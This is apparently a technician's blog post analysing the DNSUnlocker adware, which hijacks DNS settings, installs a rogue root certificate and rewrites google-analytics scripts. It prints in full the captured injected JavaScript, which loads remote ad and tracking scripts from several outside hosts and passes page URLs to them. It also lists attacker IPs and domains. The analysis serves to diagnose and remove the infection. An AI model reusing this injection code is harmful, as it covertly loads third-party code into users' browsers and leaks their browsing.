The mystery of “82.163.143.172” and “82.163.142.174”

Update: These same people are also using “82.163.143.171”, “82.163.142.173”, “82.163.143.173”, “82.163.142.5” and “95.211.158.132” and another host name of “m75.dnsqa.me”. See the bottom of the article for the new Javascript they use. Note that they now hide the settings under the adapter IPv4 settings –> Advanced button –> DNS tab and in the top box. (Rather than just in the main IPv4 settings screen with the 2 dns entry boxes).

Today I’ve had two customers report unusual adverts appearing on their computers.

Both had the same change in common.

First their network card DNS servers had been changed to:

DNS Servers . . . . . . . . . . . : 82.163.143.172
DNS Servers . . . . . . . . . . . : 82.163.142.174

Potentially other related servers: 199.203.131.145 (51-1d.dnsunlocker.com), 82.163.143.167 (51-2d.dnsunlocker.com)

Secondly they had a strange program, DNSUnlocker, running from c:\ProgramData\{random-numbers} with a blue shield icon. There is also at least one entry in Task Scheduler relating to the crap.

The biggest unknown I have is how did the junk get onto their computers in the first place.
In the most recent case I believe it came from a website claiming that the visitor required Java and served them this junk which changed the DNS.

The DNS servers re-write the answers to requests to, at least, http://www.google-analytics.com.
http://www.google-analytics.com/urchin.js gets modified and the following line is injected:

	/* DNS Quality Check */
	if (typeof dns_qc === 'undefined') {
	    var dns_qc = document.createElement('script');
	    dns_qc.type = 'text/javascript';
	    dns_qc.src = 'http://m56.dnsqa.me/QualityCheck/ga.js';
	    var dns_qc_head = document.getElementsByTagName('head')[0];
	    if (dns_qc_head) {
	        dns_qc_head.appendChild(dns_qc);
	    }
	}

The domain is spoofed / hosted on 82.163.143.94 instead of the real google server 216.58.208.78.
Weirdly the scam server seems to have an SSL certificate with the following attributes:

CN = cloudguard.me
OU = Web
O = GreenTeam Internet, Ltd.
L = Hertzilia
S = Gush Dan
C = IL
Thumbprint: d5e4b0c12afb93aa71b510cc9d0db33556c82191

It looks like the junk had also installed a trusted root certificate on the machine!

Thumbprint: 26d9e607fff0c58c7844b47ff8b6e079e5a2220e
Serial Number: 00b6e1abf38b9ab41a

You can trick the scam server into printing out their injected code too by visiting:

http://82.163.143.94/urchin.js

Cloudguard and DNSUnlocker names then re-appear in the other script http://m56.dnsqa.me/QualityCheck/ga.js (m56.dnsqa.me is the same IP as the above inline injecting server)

/* CloudScout QA [56 PROD] */
var isMSIE = /*@cc_on!@*/ 0;

function isIE() {
    var myNav = navigator.userAgent.toLowerCase();
    return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false;
}
if (isIE() == 8) { // IE 8 not supported
} else if (isMSIE & amp; & amp; isIE() != 9 & amp; & amp; document.all & amp; & amp; !document.querySelector) { // IE 7 or lower not supported
} else {
    var dns_qcs3 = document.getElementsByTagName('script')[0];
    var dns_qc3 = document.createElement('script');
    dns_qc3.type = 'text/javascript';
    dns_qc3.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'cdncache-a.akamaihd.net/sub/b156ae9/56001/l.js?pid=2202&ext=DNSUnlocker';
    dns_qcs3.parentNode.insertBefore(dns_qc3, dns_qcs3);
    var dns_qcs5 = document.getElementsByTagName('script')[0];
    var dns_qc5 = document.createElement('script');
    dns_qc5.type = 'text/javascript';
    dns_qc5.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'cdncache-a.akamaihd.net/sub/b156ae9/56001/l.js?pid=2204&ext=DNSUnlocker';
    dns_qcs5.parentNode.insertBefore(dns_qc5, dns_qcs5);
    var dns_qcs6 = document.getElementsByTagName('script')[0];
    var dns_qc6 = document.createElement('script');
    dns_qc6.type = 'text/javascript';
    dns_qc6.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'shopperz.utop.it/tb/host.jsp?pid=75041&said=56001&san=DNSUnlocker&met=1|0';
    dns_qcs6.parentNode.insertBefore(dns_qc6, dns_qcs6);
    var dns_qcs8 = document.getElementsByTagName('script')[0];
    var dns_qc8 = document.createElement('script');
    dns_qc8.type = 'text/javascript';
    dns_qc8.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'istatic.eshopcomp.com/fo/ec/gteamrs.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.vidcreek.tv';
    dns_qcs8.parentNode.insertBefore(dns_qc8, dns_qcs8);
    var dns_qcs7 = document.getElementsByTagName('script')[0];
    var dns_qc7 = document.createElement('script');
    dns_qc7.type = 'text/javascript';
    dns_qc7.src = ('https:' == document.location.protocol ? 'https://' : 'http://') + 'istatic.eshopcomp.com/fo/ec/gteamqc.js?subid=56001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.vidcreek.tv';
    dns_qcs7.parentNode.insertBefore(dns_qc7, dns_qcs7);
}

The following are true:
-Scam servers are in Israel and the CloudGuard company appears to be in Israel
-Scam domains and CloudGuard domain are registered with the same privacy service
-Scam domain and CloudGuard domain use the same nameservers
-CloudGuard has been implicated in advert infections in the past

Given the above I would say this is a potentially legitimate company (in the past) turned rogue.

One of the features of this junk is the DNS they are hijacking is showing (an actually accurate message this time) scam support company advert saying you have an infection on your computer.

One other annoyance is even though you’ve removed the crap from the computer it will still show adverts being injected into pages. You must clear all your browser caches to clear this junk.

The crapware writers even have uninstall instructions on their website.. http://www.vidcreek.tv/viewtopic.php?f=6&t=6

Update – 12th Feb 2016 – The latest Javascript they use is:

/* 75/6/GB  */
window._rvz9560x1009 = {'publisher_subid':'75001', 'addonname': 'DNSUnlocker'};
window._rvz9560x1010 = {'publisher_subid':'75001', 'addonname': 'DNSUnlocker'};
(function() {
  var gtprv = {
    isIE : function () { var myNav = navigator.userAgent.toLowerCase(); return (myNav.indexOf('msie') != -1) ? parseInt(myNav.split('msie')[1]) : false; },
    loadJS : function (gturl) {
      var dns_qcs8 = document.getElementsByTagName('script')[0];
      var dns_qc8 = document.createElement('script'); dns_qc8.type='text/javascript';
      dns_qc8.src=('https:' == document.location.protocol ? 'https://' : 'http://')+gturl;
      dns_qcs8.parentNode.insertBefore(dns_qc8, dns_qcs8);
    },
    loadJSON: function (callback) {
        var xobj = new XMLHttpRequest();
        xobj.overrideMimeType("application/json");
        xobj.open('GET', ('https:' == document.location.protocol ? 'https://' : 'http://')+'m75.dnsqa.me/QualityCheck/x.txt', true);
        xobj.onreadystatechange = function () {
          if (xobj.readyState == 4) {
            if (xobj.status == "200") {
              callback(xobj.responseText);
            } else {
              callback('0');
            }
          }
        };
        xobj.send(null);
    },
    init : function() {
      var isMSIE = /*@cc_on!@*/0;
      if (gtprv.isIE () == 8) return; // IE 8 not supported
      if (isMSIE && gtprv.isIE()!= 9 && document.all && !document.querySelector) return; // IE 7 or lower not supported
      gtprv.loadJSON(function(response) {
        // Parse JSON string into object
        var actual_JSON = JSON.parse(response);
        if (actual_JSON) actual_JSON=parseInt(actual_JSON);
        else actual_JSON=0;
        if (actual_JSON==0) {
		if (window.name.indexOf('_odctxdsp') == 0) {
			//do nothing
		} else if ((window.name || '').match(/^(a652c|ld893)_/))  {
			gtprv.loadJS('cdncache-a.akamaihd.net/sub/b156ae9/75001/l.js?pid=2204&ext=DNSUnlocker');
		} else {
			if(window.top==window.self) {
                                var gtURL = encodeURIComponent(window.location.protocol + "//" + window.location.host + window.location.pathname);
                                gtprv.loadJS('asrvvv-a.akamaihd.net/get?addonname=DNSUnlocker&clientuid=&subID=75001&affid=9560&subaffid=1011&href='+gtURL);
                        }
          		gtprv.loadJS('cdncache-a.akamaihd.net/sub/b156ae9/75001/l.js?pid=2204&ext=DNSUnlocker');
          		gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gteamrs.js?subid=75001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
          		gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gteamqc.js?subid=75001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
          		gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtinimgtest.js?subid=75001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
			gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtsticky.js?subid=75001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
			gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtxt.js?subid=75001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
                        //gtprv.loadJS('istatic.eshopcomp.com/fo/ec/gtjob.js?subid=75001&bname=DNSUnlocker&blink=http%3A%2F%2Fwww.dnsunlocker.com');
          		if(window.top==window.self) {
          			gtprv.loadJS('grl.qomesn.com/sd/9560/1009.js');
				gtprv.loadJS('asrv-a.akamaihd.net/sd/9560/1010.js');
          		}
			//
          		gtprv.loadJS('w3i.co/welcome?pid=75041&said=75001&san=DNSUnlocker&met=1|0');
			//
			if('600552'.length === 0) {
				// do nothing
			} else {
                           if(window.top==window.self) {
                                var lbscript = document.createElement("script");
                                lbscript.src = "//d32zx4lhje2crr.cloudfront.net/?tid="+ (location.protocol == "https:" ? "600552" : "600553");
                                lbscript.id = "ahjkjgf";
                                lbscript.setAttribute("bname", "DNSUnlocker");
                                document.getElementsByTagName("head")[0].appendChild(lbscript);
                           }
			}
                        //
		}
        }
      });
    }
  }
  gtprv.init();
})();

Also related is yxo.warmportrait.com, ddc.terrestrialthese.com, nsl.mapticket.net, here.sendevent.net, qei.wettednurserymen.com, w3i.co and sjb.salivaunsnarlreprint.com